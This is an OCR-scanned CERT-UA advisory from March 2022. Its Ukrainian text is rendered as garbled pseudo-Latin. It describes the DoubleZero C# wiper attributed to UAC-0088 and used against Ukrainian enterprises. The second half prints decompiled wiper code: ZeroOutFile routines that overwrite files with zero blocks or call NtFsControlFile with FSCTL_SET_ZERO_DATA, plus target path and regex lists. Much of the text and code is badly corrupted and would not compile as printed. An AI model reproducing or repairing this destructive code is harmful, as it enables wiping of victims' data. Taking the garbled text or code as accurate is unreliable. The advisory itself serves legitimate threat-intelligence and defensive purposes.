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Ypsi10BOIO KOMaH/]010 pearyBaHHsI Ha KOMIT t0TepHi Ha3Buuaiini nogii Ykpainu CERT-UA 17.03.2022 BusiB/ieHO
nekinbKa ZIP-apxiBiB, ojuH 3 sIKMX MaB Ha3By "Bupyc... KpaiiHe onacHo!!!.zip". KoxeH 3 apxiBiB MicTUTb
06dyckoBany .NET-riporpamy. B pe3ysibTaTi IIpoBeieHOro aHasli3y BUsIB/IEHi MporpaMu KiacudikoBaHo K
DoubleZero - 1miKi/yiuBa mporpama-ZieCTpyKTop, po3pob/ieHa 3 BUKOPUCTaHHAM MOBH rporpamyBaHHst C#. [Iist
3HMIIeHHs (aiiliB BUKOPHCTOBYE iBa Criocobwu: Tiepe3anyc daiistie HyboBIUMH 610KaMu 110 4096 GaiiT (MeTof
FileStream.Write) a6o x 3a momomoroto API-euxukiB NtFileOpen, NtFsControlFile (kox:
FSCTL_SET_ZERO_DATA). CriouatKy 37iliCHIOETbCSI TIepe3aruc BCiX HeCUCTeMHMX (paiisliB Ha BCiX JUCKaX.
[Ticnst 1[bOTO CK/IJIAETHCS TIepesTiK CUCTeMHUX (DaiiyTiB 3a MaCKO0, 3/[IMCHIOETHCS IXHE COPTYBaHHS Ta TIOAAJIBIINN
riepe3arivc y BiZimoBizHiM mocizioBHoCTi. Hazgani 3amiyroTecs Tiiku peectpy Windows: HKCU, HKU, HKLM,

HKLM\BCD. HacamkiHelb KOMITHOTep BUMHUKA€EThCSI.

AKTHBHICTB BifjcTeXyeThCs 3a imenTrdikaropom UAC-0088 Ta Mae 6e3rocepejHe BiiHOIIIEHHS O CIIPOO

TIOpYIIIeHHS IIITATHOTO PeXXUMY (QYHITIOHYBaHHS iHpOPMaIiiHUX CUCTeM YKpaiHChKHUX TTiIIPUEMCTB.
InukaTropu KoMmpomerariii
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public static void ZeroOutFile(GClass3 gclass3 0)

bool flag = false;

if (flag = ZeroOutFile2(gclass3_0.5tring 0);
return;

try

ZeroOutFilel(gclass3 0.String 0
catch (Exception)

}

¥

public static bool ZeroOutFilel(string string )

using (FileStream fileStream = new FileStream(string 0, FileMode.Open, FileAccess.Readurite))

byte[] array2 = new byte[4096];

while (fileStream.Position < fileStream.Length)
Tong nund = fileStream.Length - fileStream.Position;

if (array2.Length > nund)
fileStream.Write(array2, 0, (int)numd);

else

fileStream.Write(array2, 0, array2.length);

}

return true;

public static bool ZeroOUtFile2(string string 0)

SafeFileHandle safeFileHandle
GClass6. Gstruct2 gst
GClasss.GStructd gstructd_
string string_

GClasss . GStructl gStruct = new GClasse.GStructl(string
ERPLr ineper = Harsnat.ALLocHGLGbat (Harshal S1ec0F ( (35Ject)gstruct));

fefault (GClass6.GStruct2);
fefault (6Class.GStructd)

Parshal StruccureToptr( (abject gStruct, inthtr, Meletedld: false);
ong 0 ng)Marshal .S1ze0f ((object)gstruct2 );

Tntptr.zero;
IntPtr.Zera!

gstruct2 intptr 3
6Class6. NtOpenFile(out safeFileHandle_, GxCO100000, ref gstruct2_, ref gstructo_,

7uL, 32ul

uint nun

ulong u
Ctedst SetrTestsiensareFitetandte., out vtong )

st Gtruts gtcucts - detats s Strcis;
St o 2

It intperz = Tt zero;
oy
¢ intPtr2 = Marshal.AllocHGlobal (Marshal.SizeOf ((object)gStruct2));

Harshal.StructureToPtr( (object)gStruct?, intPtr2, fDelete0ld: fals

= GClass6. NtFsControlFile(safeFileHandle , IntPt
Wong)Marshal /517601 (abject)gStruct2) IntPEr.Zoro, (utong

N
finally
{

TeHandle_ ni

private const string string 0 = 3
private const string string 1= “iindows’;
private const string string 2 = 'd ;
private const string string 3 = “NT05

private const string string 4 = ‘Wicrosoltc

private const string string 5 = B
private const string string 6 = ‘Docunents o
private const string string 7 = ;
private const string string 8 = “Application Data’;
private const string string 9 = ' :

private const string string 10 = ALl Users';
private const string string 11 = ‘0
private const string string 12 =
private const string string 13 = ;

private const string string 14 =
private const string string 15 =
private const string string 16 = t Menu';

private const int int @ = 5;

private static string string 17

private static string string 18 = Path.Conbine (GetSystenRoot (),

public static readonly IEnumerable<Regex> ienumerable © =

new Regex (GetsystenRoot

new Regex (GetsystenRoot

0+
Q0+
toystemroot() +
0+
new Regex (GetsystenRoot () +

public static readonly IEnumerable<Regex> ienumerable 1 =

public static readonly IEnunerable<Regex> ienunerable 2 =

new Regex (GetSystenRoot (

ppD
new Regex (GetsystemRoot pPD

)+
)+ ?
public static readonly IEnumerable<Regex> ienumerable 3 =
4

Path. Conbine (GetSystenRoot (), “Windows);

inc icrosoft.NET");

new List<Regex>

190,111 (Regexdptions)9),

o . (Regexdptions)9),
" (Regexdptions)9

o (ke gexnmmm,

. (Regexbptions)o)

new ListeRegexs();

new List<Regex>

(Regexdptions)o),

. (Regexdptions)é)

new List<Regex>();

= new L.

public static readonly
ronnent. GetF

specialFolder.Progranfiles)),

£
B Combine (Envionment. Gf;?a\der?ath(Envlrnr\ment Specla\Fo\ﬂer ProgranFilesxas) ),

Path Combine(GetSystenRoo

PathCombine(GetSystenRoot () ; randata’, “Applica

Path!Combine(GetSystenRoot () ;
PathCombine (GetSystenRoot ()| “Users” )

ta’),

public static readonly
public static readonly IEnunerable<string> ienunerable 6 =

5 = new L { Path.c GetFol ronment older.systen),
new List<string> { Path.Combine (GetsystenRoot(), “iir . ) b
7= new L. { Path.c ). "win [

public static readonly
public static string GetsystenRoot ()
return Path.GetPathRoot (Environment . Systendirectory)

public static int GetosversionMajor()
return Environment.0SVersion.Version.Major;

r.Zero, TntPtr.Zero, IntPtr.Zero, ref gstructd_, 622792ul,
)6}

intetrz, (
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